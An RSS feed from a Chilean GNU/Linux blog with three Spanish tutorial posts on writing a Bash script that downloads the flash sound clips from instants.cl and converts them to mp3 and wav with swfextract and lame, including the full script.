<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Geeks &#38; Linux Atelier! &#187; Desarrollo</title>
	<atom:link href="http://www.glatelier.org/category/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.glatelier.org</link>
	<description>El Taller de GNU/Linux..., pero Chileno!</description>
	<lastBuildDate>Wed, 08 Feb 2012 18:12:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Destripando: Instants Chile Get! – Prueba de concepto (Parte II)</title>
		<link>http://www.glatelier.org/2011/01/destripando-instants-chile-get-prueba-de-concepto/</link>
		<comments>http://www.glatelier.org/2011/01/destripando-instants-chile-get-prueba-de-concepto/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 14:10:17 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programación para Newbies]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[destripando]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[instants]]></category>
		<category><![CDATA[swfextract]]></category>
		<category><![CDATA[swftools]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=8477</guid>
		<description><![CDATA[Este artículo es parte de una serie: Parte I: Destripando: Instants Chile Get! &#8211; Planificación Voy a ser honestos con ustedes, no tengo idea de qué cosa significa exactamente una «prueba de concepto». La utilizo según lo que me parece que quiere decir, &#8220;probar&#8221; si es posible dar con una pequeña prueba para luego generalizarla. [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Este artículo es parte de una serie:</p>
<ul>
<li><strong>Parte I:</strong> <a href="http://www.glatelier.org/2011/01/destripando-instants-chile-get-planificacion/">Destripando: Instants Chile Get! &#8211; Planificación</a></li>
</ul>
<p>Voy a ser honestos con ustedes, <strong>no tengo idea de qué cosa significa exactamente una «prueba de concepto»</strong>. La utilizo según lo que me parece <a id="top-1" href="#foot-1">que quiere decir</a>, &#8220;probar&#8221; si es posible dar con una pequeña prueba para luego generalizarla. Claramente el objetivo de mi aplicación, es bastante general (descargar todos los archivos y decodificarlos). Por lo que antes de comenzar a ver como descargar todos los archivos, sería más prudente descargar alguno y ver si efectivamente puedo transformarlo en un formato audible que no sea <code>swf</code>. ¿Imaginan que logro dar con una fórmula para descargar todo y finalmente resulta que no puedo hacer nada con los archivos?.</p>
<p><a href="../wp-content/uploads/2011/01/carlitox.jpg"><img class="alignleft" title="carlitox" src="../wp-content/uploads/2011/01/carlitox-200x200.jpg" alt="" width="200" height="200" /></a>Esto por supuesto, puede tener muchos acercamientos (incluso ni siquiera utilizar un prototipo), personalmente <strong>me gusta lo que pregona la metodología ágil</strong> (algún día hablaré de ello); que consiste básicamente<a id="top-2" href="#foot-2">[2]</a> en trabajar en base a iteraciones y pequeñas metas, de forma de que cada cierto intervalo corto de tiempo (cada día por ejemplo) se avance algo, aunque signifique modificar y reparar el código más de alguna vez. Esto permite tener una percepción de &#8220;ir avanzando&#8221; y no quedarse &#8220;pegado&#8221; en soluciones complejas, además darle muchísimo más dinamismo.</p>
<p>Por otra parte, <strong>me parece mucho más simple dar con una solución única y luego buscar la forma de generalizarla</strong> que desgastarse en problemas más difíciles de abordar, especialmente cuando recién nos sentamos y parece abismante la cantidad de trabajo que queremos realizar.</p>
<h2>Manos a la obra</h2>
<p><span id="more-8477"></span></p>
<h3>Descargando</h3>
<p>Lo primero, entonces será encargarnos de descargar alguno de los archivos. No sé como hacerlo en otros navegadores que no sean Firefox, pero supongo que deben tener procedimientos similares. Nos vamos a la página del <a title="Carlitox - joJÓjo" href="http://www.instants.cl/search/label/jojojo">instant</a> que queremos utilizar como prueba (sí, no podría dejar pasar a Carlitox) y luego:</p>
<ul>
<li>Nos vamos al menú Herramientas » Información de la página, o</li>
<li>Apretamos el botón derecho y escogemos &#8220;Información de la página&#8221;, o</li>
<li>(mi favorita) <code>&lt;Ctrl&gt; + &lt;i&gt;</code></li>
</ul>
<p>En los tres casos nos veremos con una pantalla más o menos así:</p>
<p><a href="http://www.glatelier.org/wp-content/uploads/2011/01/view_info_jojojo.png"><img class="aligncenter size-medium wp-image-8670" title="view_info_jojojo" src="http://www.glatelier.org/wp-content/uploads/2011/01/view_info_jojojo-543x375.png" alt="" width="543" height="375" /></a></p>
<p>Nos vamos a la pestaña &#8220;Media&#8221; buscamos el archivo y pinchamos en &#8220;Guardar como&#8221;. Por si fuera poco (y sin quererlo) <strong>descubrimos el lugar donde está almacenado</strong> (<code>http://www.axonema/instants/swf2/jojojo.swf</code>), y con bastante lógica podríamos suponer que <strong>todos</strong> los instants están guardados en una carpeta llamada <code>swf2</code>. Nuestro objetivo pues en alguna iteración ulterior será la de <strong>descargar todos los archivos</strong> con extensión <code>swf</code> de dicha carpeta.</p>
<h3>Decodificando</h3>
<p>Perfecto, ya tenemos nuestro archivo, ahora faltaría comprobar si es posible decodificarlo, <strong>una rápida búsqueda en google nos llevará a que la herramienta que permite <em>destripar</em> este tipo de archivo</strong>: <code>swftools</code>, por lo que tendremos que encargarnos de instalarla.</p>
<p>Nos desplazamos a través de la terminal al directorio donde hayamos descargado el joJÓjo y probamos <code>swfextract</code>:</p>
<p><code class="snip">swfextract jojojo.swf<br />
Objects in file jojojo.swf:<br />
[-i] 7 Shapes: ID(s) 3-9<br />
[-i] 1 MovieClip: ID(s) 1<br />
[-s] 1 Sound: ID(s) 10<br />
[-f] 1 Frame: ID(s) 0</code></p>
<p>Hm, tiene <strong>1</strong> <em>Sound</em>, que está como ID 10&#8230; extraigámoslo:</p>
<p><code class="snip">swfextract -s 10 jojojo.swf -o jojojo.mp3</code></p>
<p>(por supuesto que un <code>swfextract --help</code> ayuda bastante!)</p>
<p>¡Perfecto! Extrajimos el audio en <code>mp3</code> y funcionó sin problemas. Podríamos aprovechar de probar si es posible decodificar el <code>mp3</code> y pasarlo a <code>wav</code>. Para esta tarea, no se me ocurre nada mejor (ni más simple) que utilizar <a href="http://lame.sourceforge.net/">LAME</a>, así que lo siguiente será instalarlo.</p>
<p>En el mismo directorio, ejecutamos:</p>
<p><code class="snip">lame --decode jojojo.mp3 jojojo.wav</code></p>
<p><em>Voilà!</em></p>
<p><a id="foot-1" href="#top-1">[1]</a> Quizá &#8220;prototipo&#8221; sea el término más adecuado&#8230;</p>
<p><a id="foot-2" href="#top-2">[2]</a> En realidad es una simplificación bastante burda, pero sirve de forma académica</p>
<p><strong>Imagen:</strong></p>
<ul>
<li><a href="http://www.sxc.hu/photo/1309468">Robot</a> por <a href="http://www.sxc.hu/profile/julosstock">Julien Tromeur</a> en <a href="http://www.sxc.hu/">Stock.xchng</a></li>
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2011/01/destripando-instants-chile-get-prueba-de-concepto/" data-text="Destripando: Instants Chile Get! – Prueba de concepto (Parte II)" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-prueba-de-concepto%2F&amp;title=Destripando%3A%20Instants%20Chile%20Get%21%20%E2%80%93%20Prueba%20de%20concepto%20%28Parte%20II%29" id="wpa2a_2">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2011/01/destripando-instants-chile-get-prueba-de-concepto/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Destripando: Instants Chile Get! &#8211; Planificación (Parte I)</title>
		<link>http://www.glatelier.org/2011/01/destripando-instants-chile-get-planificacion/</link>
		<comments>http://www.glatelier.org/2011/01/destripando-instants-chile-get-planificacion/#comments</comments>
		<pubDate>Fri, 14 Jan 2011 14:40:15 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programación para Newbies]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[destripando]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[instants]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=8456</guid>
		<description><![CDATA[Hace algunas semanas les presenté Instants Chile Get Improved un script de Bash, que descarga todos los instants desde instants.cl y los transforma a mp3/wav; la idea ahora, es ir siguiendo los pasos que nos llevarían a desarrollar el script. Al menos en mi percepción, lo más importante de la programación es saber abstraerse; si [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Hace algunas semanas les presenté <a href="http://www.glatelier.org/2010/12/labs-instants-chile-get-improved-descarga-todos-esos-momentos/">Instants Chile Get Improved</a> un script de Bash, que descarga todos los instants desde <a href="http://www.instants.cl/">instants.cl</a> y los transforma a mp3/wav; la idea ahora, es ir siguiendo los pasos que nos llevarían a desarrollar el script.</p>
<p>Al menos en mi percepción, lo más importante de la programación es saber abstraerse; si bien, todos los lenguajes tienen sintaxis, reglas y exigencias distintas a la hora de programar (que el &#8220;;&#8221; al final de cada línea, que la indentación, etc). Al final todos poseen ciertos denominadores comunes, como estructuras de control (<em>if</em>, <em>else</em>), bucles, iteraciones, etc. La idea de esta serie, si bien aprender algo de <a title="Wikipedia - Bash" href="https://wiki.archlinux.org/index.php/Bash">bash</a> y scripting, es también aprender técnicas y/o sugerencias para ayudar a programar un poco mejor.</p>
<p>Luego de esta introducción, comenzamos la primera parte: <strong>la planificación</strong>.</p>
<p><span id="more-8456"></span></p>
<p>La motivación de programar no es por generación espontánea, habitualmente responde a algún problema o necesidad que debe ser resuelto. En este caso no es distinto, tengo una página web, con cierto contenido que inicialmente sólo me permite escucharlo por internet. Más de alguna vez he echado de menos tener la posibilidad de contar con esos sonidos en momentos que lo ameritan, por lo que <strong>ya tengo el objetivo principal de la aplicación:</strong> descargar los <em>instants</em> de la página web.</p>
<p><img class="alignleft size-full wp-image-8233" title="Botón Instants" src="http://www.glatelier.org/wp-content/uploads/2010/12/boton.png" alt="Botón de instants" width="120" height="107" />Con esta información pues, tenemos que investigar algunas cosas; comenzando por si existe alguna <abbr title="para efectos de esta serie supondremos que no :P">aplicación similar</abbr>. Esto puede parecer obvio, pero es increíble lo difícil que es ser original. Teniendo ya este punto, nos vamos a mirar la página web en cuestión, donde una rápida mirada (botón derecho en uno los botones) veremos que son sonidos flash.</p>
<p>Con este nuevo obstáculo, veremos que nuestro simple plan se <em>complejiza</em> un poco:</p>
<ol>
<li>Descargar todos los sonidos</li>
<li>Transformarlos a mp3/wav</li>
</ol>
<p>Aunque el trabajo que vayan a realizar, <strong>parezca</strong> simple (o que en definitiva lo sea) <strong>me ha dado mejor resultado planear lo que voy a hacer antes de tirarme de cabeza a escribir el código</strong>, a la larga, <strong>ahorra tiempo</strong> y es mucho menos frustrante que empezar y darse cuenta cada 10 minutos que lo que parecía sumamente sencillo no lo era tanto.</p>
<p>Afortunadamente, mi carrera (Medicina) me obliga a ser metódico, ¿imaginan que cada vez que examinara a un paciente lo hiciera en distinto orden?</p>
<p>Sería <strong>dramático</strong> (de hecho, es uno de los típicos errores de los estudiantes de medicina cuando recién ingresan a las labores clínicas), de esa forma es muy fácil omitir cosas importantes. En cambio si uno lleva el mismo orden —independiente de cuál sea— además de memorizarlo con mayor facilidad, simplifica enormemente la tarea de ir agregando o retirando &#8220;pasos&#8221; para hacer más eficiente/efectivo el sistema.</p>
<p><a href="http://www.glatelier.org/wp-content/uploads/2010/01/programming.jpg"><img class="alignright size-full wp-image-5093" title="programming" src="http://www.glatelier.org/wp-content/uploads/2010/01/programming.jpg" alt="" width="400" height="300" /></a>Por supuesto que la herramienta a escoger no es algo que se pueda afirmar con certeza absoluta, es a conveniencia de cada persona. Para alguien podría ser útil realizar un listado (receta de cocina) lo más detallado posible, realizar un diagrama de flujo, utilizar <a href="http://es.wikipedia.org/wiki/Pseudocódigo">pseudocódigo</a>, y/o muchas más.</p>
<p>Esta fase también nos puede permitir tomar una mejor decisión sobre qué lenguaje utilizar. En ese sentido, no es lo mismo diseñar una aplicación web (php), una aplicación de escritorio (python-gtk) o un <em>script</em> simple como el que motiva esta serie.</p>
<p>Si ya contásemos con más experiencia en algún lenguaje (o en programación en general), podríamos hilar incluso más fino. Por ejemplo, si quisiéramos desarrollar alguna aplicación basada en el API de <a href="http://www.delicious.com/help/api">delicious</a>, sabríamos que debemos tratar con archivos XML. Con este antecedente, podríamos investigar qué lenguaje cuenta con mejores <abbr title="sí... el término de librerías es incorrecto!">bibliotecas</abbr><a id="top-1" href="#foot-1">[1]</a> o las que sean más fáciles de manipular para el objetivo particular que andamos buscando.</p>
<p>Por último, <strong>todo esto no es sólo válido para trabajos personales, también lo es para trabajo en equipo</strong>; invertir unas horas más fuera de los computadores para hacer un esquema de la aplicación y planificar los distintos aspectos, facilita en gran medida que cada miembro tenga claro el rol que cumplirá y no será necesario interrumpir el trabajo, sólo para descubrir que el proyecto era inviable o los estilos de los códigos causan estragos en la comprensión de las aplicaciones.</p>
<p>Lamento que esta parte haya sido tan “latera”, desde la próxima parte ya empezaremos a tipear código; diría &#8220;programar&#8221;, pero la verdad es que sería una redundancia pues ya lo empezamos a hacer ;)</p>
<p><a id="foot-1" href="#top-1">[1]</a> Por supuesto que esto es una simplificación casi absurda, dudo que exista algún lenguaje que tenga un mal soporte para <em>parsear</em> archivos XML.</p>
<p><strong>Foto:</strong></p>
<ul>
<li><a title="php code" href="http://www.sxc.hu/photo/995000">Php Code</a> por <a href="http://www.sxc.hu/profile/kakaopor">Kakao Por</a> en <a href="http://www.sxc.hu/">Stock.xchng</a></li>
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2011/01/destripando-instants-chile-get-planificacion/" data-text="Destripando: Instants Chile Get! - Planificación (Parte I)" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;linkname=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2011%2F01%2Fdestripando-instants-chile-get-planificacion%2F&amp;title=Destripando%3A%20Instants%20Chile%20Get%21%20%26%238211%3B%20Planificaci%C3%B3n%20%28Parte%20I%29" id="wpa2a_4">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2011/01/destripando-instants-chile-get-planificacion/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Labs: Instants Chile Get Improved – Descarga todos esos “momentos”</title>
		<link>http://www.glatelier.org/2010/12/labs-instants-chile-get-improved-descarga-todos-esos-momentos/</link>
		<comments>http://www.glatelier.org/2010/12/labs-instants-chile-get-improved-descarga-todos-esos-momentos/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 13:00:52 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programación para Newbies]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[instants]]></category>
		<category><![CDATA[labs]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=8232</guid>
		<description><![CDATA[Supongo que hacer una introducción a los &#8220;instants&#8221; sería un pérdida de tiempo y caracteres, pues no conocerlos sería similar a vivir fuera del planeta o bajo una piedra. Si eres alguno de los últimos (nunca faltan), paso a dar una pequeña descripción: los instants son esos pequeños momentos que por alguna razón pasaron a [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Supongo que hacer una introducción a los &#8220;instants&#8221; sería un pérdida de tiempo y caracteres, pues no conocerlos sería similar a vivir fuera del planeta o bajo una piedra.</p>
<p>Si eres alguno de los últimos (nunca faltan), paso a dar una pequeña descripción: los <em>instants</em> son esos pequeños momentos que por alguna razón pasaron a la historia, tenemos el clásico joJÓjo de Carlitox, el archi-conocido (al menos en Chile)  &#8220;¡Aer quien e&#8217; el dostor!&#8221;, el semipterno Rick Roll o el clásico &#8220;EA Sports It&#8217;s in the game&#8221;, todo ello al alcance de un botón rojo.</p>
<p>¿Cuántas veces han querido tener ese sonido en su computador o en el celular para complementar ese <em>momento</em> que también lo ameritaba? <strong>Todo ello y más</strong> luego del salto&#8230;</p>
<p><span id="more-8232"></span></p>
<p>La buena noticia es que acabo de desarrollar un pequeño script de Bash que obtiene todos, ¡sí! ¡<strong>todos</strong>! los sonidos desde <a href="http://instants.cl">instants.cl</a>. Esto no habría sido posible sin los trabajos previos de <a href="http://blog.gon.cl/post/862">Gon</a> y <a href="http://felipe.astroza.cl/news/2010/05/08/audios-de-instantsfun-es-en-mp3/">Felipe Astroza</a>.</p>
<p>Respecto a sus versiones anteriores, este script:</p>
<ul>
<li>Descarga los sonidos sólo una vez (el de Gon lo hacía dos veces)</li>
<li>El código ha sido &#8220;simplificado&#8221;</li>
<li>Utilicé Arrays (sí, de BASH) para establecer las &#8220;dependencias&#8221;</li>
<li>Mejoré un poco la interfaz y las salidas son más explicativas</li>
</ul>
<p>Si miran se podrán dar cuenta que aún hay algunas cosas que mejorar y que faltan:</p>
<ul>
<li>Utilizar un directorio temporal (en /tmp), en vez de crear una carpeta &#8220;on-the-fly&#8221; y luego eliminarla</li>
<li>Preguntar al usuario dónde descargar los sonidos</li>
<li>Dejar opcional la posibilidad de utilizar curl o wget</li>
<li>Preguntar a qué formato el usuario quiere transformar los archivos (actualmente lo hace a mp3 y wav)</li>
</ul>
<p>El script está disponible <a title="(cambiar extensión a .sh y dar permisos de ejecución)" href="http://www.glatelier.org/wp-content/uploads/2010/12/instants_cl_mp3_downloader.txt">aquí</a>, en un <a href="https://gist.github.com/667247">gist</a> de Github, o a continuación. Me gustaría detenerme en lo de &#8220;un gist&#8221; (un especie de lugar para almacenar <em>snippets</em>) , esto significa que está funcionando como repositorio (de git por supuesto), pueden descargarlo, hacer un <em>fork</em>, clonarlo y ver los logs del desarrollo y lo más interesante, pueden hacer mejoras para luego yo incluirlas en la versión definitiva.</p>
<p>Si quiere algo más simple, también lo incluyo acá (click para desplegar):</p>
<pre class="brush: bash; collapse: true; light: false; title: InstantsFunGet Improved; toolbar: true; notranslate">
#!/usr/bin/env bash
#
###############################################################################
#                                                                             #
#   (c) 2010, Pablo Olmos de Aguilera &lt;pablo[at}glatelier.org&gt;;               #
#   Based on work from Gonzalo Diaz &lt;me{at)gon.cl&gt;;                           #
#   http://gon.pastebin.com/zanh8uAq                                          #
#                                                                             #
#   Based on InstantsFunGet from Felipe Astroza &lt;felipe(at]astroza.cl&gt;        #
#   http://felipe.astroza.cl/news/2010/05/08/audios-de-instantsfun-es-en-mp3/ #
#                                                                             #
#   This program is free software: you can redistribute it and/or modify      #
#   it under the terms of the GNU General Public License as published by      #
#   the Free Software Foundation, either version 3 of the License, or         #
#   (at your option) any later version.                                       #
#                                                                             #
#   This program is distributed in the hope that it will be useful,           #
#   but WITHOUT ANY WARRANTY; without even the implied warranty of            #
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the             #
#   GNU General Public License for more details.                              #
#                                                                             #
#   You should have received a copy of the GNU General Public License         #
#   along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.     #
#                                                                             #
###############################################################################

#==============================================================================
#
#          FILE:  instants_cl_mp3_downloader.sh
#
#   DESCRIPTION:  Download every 'instant' from instants.cl to a folder.
#
#      REVISION:  0.9
#==============================================================================

#
# Constants
#

SOURCE_HOST=http://www.instants.cl/search?max-results=1000

# TODO: Use mktemp
TEMP_DIR=tmp

# TODO: Ask user
COLLECTION_DIR=collection

# TODO: make optional wget or curl
# TODO: ask if the user wants to convert to wav
REQUIREMENTS=( lame wget swfextract )

function prepare() {
    for app in ${REQUIREMENTS[@]}; do
        if ! type -P ${app} &amp;&gt;/dev/null; then
            # TODO: Find a way to make bash find that swfextract is part from swftools
            [[ $app = &quot;swfextract&quot; ]] &amp;&amp; app=&quot;swftools&quot;
            not_installed=(&quot;${not_installed[@]}&quot; &quot;$app&quot;)
        fi
    done

    if [ ${#not_installed[@]} != 0 ]; then
        echo &quot;Sorry, the following apps have to be installed to run this script:&quot; &gt;&amp;2
        for required_app in ${not_installed[@]}; do
            printf &quot;   %s\n&quot; $required_app
        done
        exit 1
    fi

    mkdir -p $TEMP_DIR $COLLECTION_DIR
}

function cleanup() { rm -fr $TEMP_DIR; }
function get_swf_list() {
    echo $(cat $1 | grep swf | awk 'BEGIN {FS=&quot;\&quot;&quot;}; {print $12}');
}

function get_index() {
    wget -q $1 -O $TEMP_DIR/index
    echo &quot;$TEMP_DIR/index&quot;
}

#
# Starting Application
#

prepare

echo &quot;InstantsChileGet-Improved - (C) 2010 Pablo Olmos de Aguilera&quot;
echo &quot;Based on: InstantsChileGet - (C) 2010 Gonzalo Diaz&quot;
echo &quot;based on: InstantsFunGet - (C) 2010 Felipe Astroza&quot;
echo -n -e &quot;Reading index\r&quot;
swf_list=$(get_swf_list $(get_index $SOURCE_HOST))

# Deleting $TEMP_DIR/to_download if exists
[[ -e $TEMP_DIR/to_download ]] &amp;&amp; rm $TEMP_DIR/to_download

for swf in $swf_list; do
    echo $swf &gt;&gt; $TEMP_DIR/to_download
done

# Remove duplicated entries
swf_list=$(cat $TEMP_DIR/to_download | uniq )

TOTAL=$(echo $swf_list | wc -w)
current=1

for swf in $swf_list; do
        name=$(echo $swf | awk 'BEGIN {FS=&quot;/&quot;}; {print $6}')
        echo -e -n &quot;\r[$current of $TOTAL]\e[0K $swf =&gt; $TEMP_DIR/$name\n&quot;
        wget -q -nc $swf -P $TEMP_DIR/
        let &quot;current++&quot;
done

echo &quot;Now we are going to extract the sound...&quot;
sleep 5

current=1

for swf in $TEMP_DIR/*.swf; do
        filename=$(basename $swf)
        name=${filename%.*}
        echo -e -n &quot;\r[$current of $TOTAL]\e[0K Extracting sound from: \
        $swf =&gt; $COLLECTION_DIR/$name.mp3\n&quot;
        sound_id=$(swfextract $swf | grep Sound: | awk '{print $5}')
        swfextract -s $sound_id $swf -o $COLLECTION_DIR/$name.mp3
        lame --decode $COLLECTION_DIR/$name.mp3 $COLLECTION_DIR/$name.wav
        let &quot;current++&quot;
done

cleanup
</pre>
